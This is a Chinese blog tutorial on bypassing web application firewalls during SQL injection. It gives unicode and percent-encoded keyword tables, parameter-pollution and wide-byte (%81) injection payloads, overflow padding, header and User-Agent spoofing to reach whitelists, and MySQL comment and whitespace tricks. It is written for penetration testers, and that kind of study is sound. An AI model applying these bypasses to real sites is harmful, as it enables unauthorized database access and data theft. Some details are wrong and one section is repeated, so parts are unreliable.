【网络安全】——sql注入之bypass深度剖析

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
Web应用防火墙 3.0,每月20元额度 3个月
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
简介: 本文分享了我自己总结的常规sql注入常规操作步骤,足够在日常sql渗透测试时使用,适合一些对渗透测试流程不是特别清晰的同学观看,会不定期更新并完善内容

一.识别WAF类型

1.Nmap:

      用法:        nmap -p 80 --script http-waf-fingerprint 网址

      demo:     nmap -p 80 --script http-waf- detect.nse www.baidu.com

2.Waf00f:

      用法:waf00f     网址,该工具kali自带

3.拦截信息观察

       根据拦截界面一般可以观察出waf类型,但有的不行

二.观察服务器特性

1.ASP+IIS

如果网站后端语言是ASP,并且使用的IIS中间件,则有可能存在以下waf绕过姿势

(1)%特性:

就是在指令中插入%,导致waf层解析不出完整指令从而放行,但是在数据库层面运行时就可能被识别并解析出完整指令,就达到绕 过waf目的

例子:比如s%elect因为有%隔开,所以waf层可能识别结果就是s%elect,但是在数据库层面可能被识别并解析为select,所以就达到了绕过waf的目的

(2)%u特性:

适用于用unicode编码绕过waf时,unicode编码iis解析会换成multibyte编码,但是有几个不同的unicode编码会被换成同一个multibyte,而waf层可能只识别其中的一个unicode编码,所以此时换另一个unicode编码就有可能绕过waf的防护

例子:比如select的e对应的unicode编码为%u0065,但是%u00f0和%u0045同样会被化为e,waf可能只能识别其中的%u0065,所以此时我们换成%u00f0,就能成功绕过waf,但是iis解析时同样解析为e所以此时就可以理解为

select=s%u0045lect = s%u0065lect =%u00f0lect

下面为大家准备了常见的uncoide编码替换方案

常见三个关键字(union,select,from)的测试情况:

           u --> %u0055 --> %u0075

           n --> %u004e --> %u006e

           i --> %u0049 --> %u0069

           o --> %u004f --> %u006f --> %u00ba

           s --> %u0053 --> %u0073

           l --> %u004c --> %u006c

           e --> %u0045 --> %u0065 --> %u00f0

           c --> %u0043 --> %u0063

           t --> %u0054 --> %u0074 --> %u00de --> %u00fe

           f --> %u0046 --> %u0066

           r --> %u0052 --> %u0072

           m --> %u004d --> %u006d

2.ASP+IIS和ASPX+IIS

(1)IIS服务器支持对unicode的解析

比如对select命令进行unicode编码,可以的到s%u006c%u0006ect,iis接收时会对unicode编码解析,最后识别为select,但是waf层可能识别不了unicode编码

3.apache畸形绕过

(1)get替换

在GET请求发起的数据包中,GET可以替换为任意字符(一般替换成POST),不影响apahce接收参数id=2,即把请求包我圈上的的GET换成啥都行

三:应用层特性

1.大小写绕过

这个就不需要多讲了,就是将命令中的字符进行一个大小写替换,有时能够绕过waf

例子:select换成SeleCt(一般waf都会对这个有防护,但还是可以碰碰运气)

2.关键字替换

关键字替换在平时的渗透中使用的较多,主要是寻找同义函数,寻找替代品,一些关键字被防护拦截时就可以尝试替换

下面也为大家准备了一些常用的关键词替换

   (1)and --> && --> or  ---> xor --> ||         //(使用时需url编码)(xor只有一真一假才得真,其他都假)

   (2)ascii() -->  Hex()  -->  bin()  -->ord()

   (3)sleep()  -->  benchmark()

   (4)substr()  -->  mid() -->  substring()

   (5)user() -->  @@user

   (6)version()  -->@@version

   (7)#  --> --+  --> ;%00  

   (8)=  --> in  -->  regexp  -->  like  --> <>

3.双重编码

对命令进行双重编码,unicode,base64,hex都可以尝试,有可能绕过waf的识别

4.变换请求方式

(1)将以GET方式提交的数据通过修改发送的数据包换成以POST方式提交

(2)在POST请求中,可以将Post数据包转为multipart/form-data格式数据包(burp可以换)

5.HPP参数污染

(1)参数混淆

就是注入的时候尝试加入更多参数改变注入位置来混淆识别机制,假设现有有一个站点的注入点时www.xxxx/?id=1,详情如下(此操作对不同环境效果不同

操作:

【1】. 加入更多混淆参数

例如:?id=1&id=2&id=3

【2】.在asp + iis环境的中:

 系统识别到的真实的id等于1+2+3,即三个id的值会拼接作为接收到的id值,此时我们就可以将攻击命令拆分注入,达到绕过waf的目的

例如:?id=1 union&ID=select 1,2&Id=from admin,此时的真实id的值就是

1 union select 1 from admin

【3】.php+apache的环境中:

此时系统识别到的真实id=3,就是只识别最后一个id的值,前面的id都不管

(2)参数拼接

get+post+cookie三个数据传输方式拼接的传参

(3)过滤逗号

?id=1 select 1,2,3,4 from admin可以修改为下面这种不需要逗号的格式

?id=1 union select 1&id=2&id=3&id=4 from admin

(4)无效参数

例如:?a=/*&sql=xxx&b=*/(无参数形式)

(a和b为无效参数,但a和b的值却构成了注释符(/**/),通过让waf以为这是注释里执行的就不拦截,但此时在a和b中间的参数进行注入就可以了)

(5)溢出形式

溢出形式算是特别常用的一种注入手段,就是依靠缓存溢出机制,用大量的脏数据来使我们的攻击命令绕过waf的拦截


例如:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from                      INFORMATION_SCHEMA.schemata

6.宽字节绕过

(1)gbk编码转换

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)


存在宽字节注入的原因是因为部分防护机制是使用addslashes函数,会在我们输入的非法字符前添加“\”,而“\”会与我们的恶意代码的第一个字符形成gbk编码格式被解析,导致我们注入不成功

例子:注入点:www.xxxx.com?id=1


如果跟正常渗透操作一样加一个单引号,此时他就会生成一个‘\’在单引号前面,成为“\'”跟单引号形成gbk编码


此时我们可以在'的前面加上%81,就会形成下面这样的状态


www.xxxx.com?id=1%81\'


此时%81就会跟生成的\形成gbk编码,即%81%5C,被GBK当做编码识别成为“乗”字,而单引号不受影响正常注入

在线gbk编码对照表:GBK 编码范围, GBK 编码表 (qqxiuzi.cn) 

四:WAF层特性:

1.逻辑问题

(1)cdn防护型

有的站点只有cdn有防护,所以我们可以通过查找真实ip,来绕过cdn防护

(2)数据混淆型

即get和post同时提交,有可能waf进入post逻辑,忽略get的有害参数

(3)错误配置型

遇到https的站点时,有可能也同时开放了http服务,此时可能只有https有防护,只需要把url中的https换成http即可绕过

(4)00截断型

%00,部分waf无法识别%00之后的数据,此时可以id=1%00,后面放入注入语句

2.性能问题

(1)数据量问题

填充脏数据使数据达到一定量级,此时注入语句放在最后,比如传入多个参数其他参数,但是最后传入对的是正常参数

(2)处理量问题

同一请求多次发送,有些waf性能较低即可绕过,直接burp一直发

注:这里的两个谨慎使用,可能会影响有些小网站的正常运行

3.白名单

(1)ip白名单

有的waf会设置白名单方便管理员等人员访问与管理,假如此时你获取到了管理员的ip信息,就可以通过修改请求数据包中下面的参数(没有的话直接添加也可以)来绕过waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

(2)静态资源

常见的静态文件(.js .jpg .swf .css等等),因为部分管理员为了方便调用资源,就设置了后缀白名单,waf识别到之后就不会拦截,将请求的数据加上白名单中的静态资源后缀即可绕过waf

例如 :http://10.9.9.201/sql.php/1.js?id=1

(3)URL白名单

这个原理也一样,有的管理员想要减少用于防护的费用,一些不重要的路径就不会进行cdn防护,而判断路径是否重要也是通过添加白名单的方式,只要检测出了在白名单中的路径,就会直接放行

步骤:直接另设一个参数,参数的值为一些路径,也可能绕过

(4)爬虫白名单

这个就比较容易理解,很多网站为了在百度,Goole等搜索引擎里占更多权重,会把这类搜索引擎爬取网页时的UA头添加到白名单,此时只需要把我们的UA头换成搜索引擎的UA即可绕过waf

user-agent伪装成爬虫,下面我也给大家准备了一些常见搜索引擎的爬虫UA头

下面三个分别对应谷歌,百度,雅虎

UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp;

五:mysql数据库特性

1.Mysql:

(1)常用:

内联注释:            /*!12345union*/select

Mysql黑魔法:         select{x user}from{x mysql.user};

换行符绕过:          %23%0a、%2d%2d%0a

(2)注入语句替换方式

[1]空格常见替换方式

/**/

/*!12345union*/

/*anything*/

[2]空白字符

可添加在任意位置

%09,%0a,%0b,%0c,%0d,%20,%a0都可以替换

一般%a0和%0a合起来用比较多, 即%a0%0a

[3]将注入语句的数字换成浮点型

[4]将空格替换为1E0

[5]空格替换为/N
[6]用空格或者引号包裹函数
[7]特殊符号代替空格

一些时候空格也会称为waf判断的重要依据,所以我们也可以把空格替换成其他字符

下面就是我给大家准备的常见替换方式

1. %21 ! 叹号
2. %2b + 加号
3. %2d - 减号
4. %40 @ 电子邮件符号 
5. %7e ~ 波浪号

(3)函数

[1]常见字符串截取函数


Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

[2]常见字符串连接函数

concat(version(),'|',user());

concat_ws('|',1,2,3)

[3]特殊字符被过滤

【1】limit的逗号

limit 1 offset 0

【2】字符串截取处的逗号

mid(version() from 1 for 1)

【3】union处的逗号

union select * from (select 1)a join (select 2)b join (select 3)c

【4】过滤了比较符号

greatest代替,greatest返回三个参数的最大值

concat(version(),'|',user());

concat_ws('|',1,2,3)

[3]特殊字符被过滤

【1】limit的逗号

limit 1 offset 0

【2】字符串截取处的逗号

mid(version() from 1 for 1)

【3】union处的逗号

union select * from (select 1)a join (select 2)b join (select 3)c

【4】过滤了比较符号

greatest代替,greatest返回三个参数的最大值



相关实践学习
Serverless极速搭建Hexo博客
本场景介绍如何使用阿里云函数计算服务命令行工具快速搭建一个Hexo博客。
相关文章
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
130 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
67 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
117 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
46 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
87 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
51 5
|
4月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
90 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
4月前
|
SQL 安全 算法
网络安全与信息安全:漏洞、加密与防范意识的深度剖析
【7月更文挑战第27天】在数字时代的浪潮中,网络安全和信息安全成为维护社会稳定与个人隐私的重要支柱。本文将深入探讨网络环境中的安全漏洞、先进的加密技术以及提升公众安全意识的必要性,旨在为读者提供一套综合性的网络安全知识体系。通过分析常见的网络攻击手段和防御策略,文章揭示了在日益复杂的网络威胁面前,如何构建一个更加安全的网络环境。
|
4月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【7月更文挑战第25天】在Python Web开发中确保应用安全至关重要。以下是针对SQL注入、XSS与CSRF攻击的防护策略及示例代码
75 6